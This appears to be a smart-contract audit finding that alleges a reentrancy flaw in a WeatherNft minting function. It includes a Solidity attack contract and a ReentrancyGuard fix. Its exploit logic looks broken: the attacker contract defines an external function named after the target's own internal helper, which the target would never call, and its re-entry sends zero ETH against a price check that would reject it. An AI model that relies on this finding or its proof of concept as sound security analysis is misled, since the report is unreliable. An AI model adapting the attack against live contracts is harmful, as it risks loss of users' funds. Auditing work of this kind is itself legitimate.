Root + Impact
Reentrancy Vulnerability in WeatherNft::requestMintWeatherNFT
function.
Impact: High severity—could allow unauthorized minting or fund loss if exploited.
Description
The WeatherNft.sol::requestMintWeatherNFT
function enables users to mint NFTs tied to geographic locations by paying ETH and triggering a Chainlink Functions request. The function calls _sendFunctionsWeatherFetchRequest
, an external interaction likely with Chainlink, but lacks reentrancy protection. This allows an attacker to re-enter the function before its state updates complete, potentially minting multiple NFTs or manipulating state.
The function normally accepts ETH for minting, sends a weather data request via Chainlink Functions, and stores the request details for later fulfillment, increasing the mint price with each call.
The issue arises because the external call to _sendFunctionsWeatherFetchRequest
could be intercepted by a malicious contract, enabling reentrancy. Without protection, an attacker could re-trigger the function, incrementing s_currentMintPrice
multiple times or minting duplicate NFTs.
function requestMintWeatherNFT(
string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _initLinkDeposit
) external payable returns (bytes32 _reqId) {
require(
msg.value == s_currentMintPrice,
WeatherNft__InvalidAmountSent()
);
s_currentMintPrice += s_stepIncreasePerMint;
if (_registerKeeper) {
IERC20(s_link).safeTransferFrom(
msg.sender,
address(this),
_initLinkDeposit
);
}
_reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
s_funcReqIdToUserMintReq[_reqId] = UserMintRequest({
user: msg.sender,
pincode: _pincode,
isoCode: _isoCode,
registerKeeper: _registerKeeper,
heartbeat: _heartbeat,
initLinkDeposit: _initLinkDeposit
});
}
## Risk
**Likelihood**:
An attacker deploys a malicious contract mimicking Chainlink’s response, re-entering requestMintWeatherNFT during _sendFunctionsWeatherFetchRequest.
The lack of reentrancy protection allows repeated calls before state updates (e.g., s_currentMintPrice) are finalized.
**Impact**:
Attackers could mint multiple NFTs with a single ETH payment, draining contract funds or LINK deposits.
Manipulation of s_currentMintPrice could disrupt the minting economy, affecting all users.
## Proof of Concept
```solidity
contract Attack {
WeatherNft public weatherNft;
uint256 public attackCount;
constructor(address _weatherNft) {
weatherNft = WeatherNft(_weatherNft);
}
function attack() external payable {
weatherNft.requestMintWeatherNFT{value: 0.1 ether}(
"12345",
"US",
false,
0,
0
);
}
function _sendFunctionsWeatherFetchRequest(string memory, string memory) external returns (bytes32) {
if (attackCount < 5) {
attackCount++;
weatherNft.requestMintWeatherNFT{value: 0}("12345", "US", false, 0, 0);
}
return keccak256(abi.encodePacked(block.timestamp));
}
}
Attacker scenario: Reentrancy exploit via malicious Chainlink callback.
Simulate Chainlink callback to re-enter
Recommended Mitigation
Add reentrancy protection to prevent multiple entries during external calls.
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract WeatherNft is ReentrancyGuard {
// ... other code ...
function requestMintWeatherNFT(
string memory _pincode,
string memory _isoCode,
bool _registerKeeper,
uint256 _heartbeat,
uint256 _initLinkDeposit
) external payable nonReentrant returns (bytes32 _reqId) {
require(
msg.value == s_currentMintPrice,
WeatherNft__InvalidAmountSent()
);
s_currentMintPrice += s_stepIncreasePerMint;
if (_registerKeeper) {
IERC20(s_link).safeTransferFrom(
msg.sender,
address(this),
_initLinkDeposit
);
}
_reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
s_funcReqIdToUserMintReq[_reqId] = UserMintRequest({
user: msg.sender,
pincode: _pincode,
isoCode: _isoCode,
registerKeeper: _registerKeeper,
heartbeat: _heartbeat,
initLinkDeposit: _initLinkDeposit
});
}
}
Alternatively, ensure _sendFunctionsWeatherFetchRequest
is internal or uses a reentrancy guard within its implementation.